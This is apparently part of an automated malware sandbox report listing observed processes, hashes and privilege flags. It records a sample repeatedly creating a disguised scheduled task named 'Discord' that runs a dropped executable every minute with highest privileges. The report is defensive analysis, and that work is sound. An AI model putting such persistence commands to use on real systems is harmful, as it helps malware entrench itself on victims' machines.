                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:51
                                                                                                                                                                          Start time:02:25:49
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:52
                                                                                                                                                                          Start time:02:25:51
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Users\user\AppData\Roaming\xdwdpnsvr.exe"
                                                                                                                                                                          Imagebase:0x460000
                                                                                                                                                                          File size:785'404'928 bytes
                                                                                                                                                                          MD5 hash:D9E10C024C63855DC6ABCED6584521E4
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:53
                                                                                                                                                                          Start time:02:25:50
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:54
                                                                                                                                                                          Start time:02:25:50
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:55
                                                                                                                                                                          Start time:02:25:50
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:56
                                                                                                                                                                          Start time:02:25:52
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:57
                                                                                                                                                                          Start time:02:25:52
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:58
                                                                                                                                                                          Start time:02:25:52
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:59
                                                                                                                                                                          Start time:02:25:52
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:60
                                                                                                                                                                          Start time:02:25:52
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:61
                                                                                                                                                                          Start time:02:25:52
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:scHTaSks /Run /I /TN "Microsoft Skype"
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:62
                                                                                                                                                                          Start time:02:25:54
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                                          Imagebase:0x520000
                                                                                                                                                                          File size:738'219'008 bytes
                                                                                                                                                                          MD5 hash:33DA7ED1E2C973375F265DAAA763EA08
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:63
                                                                                                                                                                          Start time:02:25:55
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:64
                                                                                                                                                                          Start time:02:25:55
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:65
                                                                                                                                                                          Start time:02:25:55
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:66
                                                                                                                                                                          Start time:02:25:55
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:67
                                                                                                                                                                          Start time:02:25:55
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:68
                                                                                                                                                                          Start time:02:25:55
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:69
                                                                                                                                                                          Start time:02:25:58
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:70
                                                                                                                                                                          Start time:02:25:58
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:71
                                                                                                                                                                          Start time:02:25:58
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:72
                                                                                                                                                                          Start time:02:26:01
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:73
                                                                                                                                                                          Start time:02:26:01
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:74
                                                                                                                                                                          Start time:02:26:01
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:75
                                                                                                                                                                          Start time:02:26:04
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:76
                                                                                                                                                                          Start time:02:26:05
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:77
                                                                                                                                                                          Start time:02:26:05
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:78
                                                                                                                                                                          Start time:02:26:08
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:79
                                                                                                                                                                          Start time:02:26:08
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:80
                                                                                                                                                                          Start time:02:26:08
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:81
                                                                                                                                                                          Start time:02:26:11
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:82
                                                                                                                                                                          Start time:02:26:11
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:83
                                                                                                                                                                          Start time:02:26:11
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:84
                                                                                                                                                                          Start time:02:26:14
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:85
                                                                                                                                                                          Start time:02:26:14
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:86
                                                                                                                                                                          Start time:02:26:14
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:87
                                                                                                                                                                          Start time:02:26:17
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:88
                                                                                                                                                                          Start time:02:26:17
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:89
                                                                                                                                                                          Start time:02:26:17
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:90
                                                                                                                                                                          Start time:02:26:20
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):
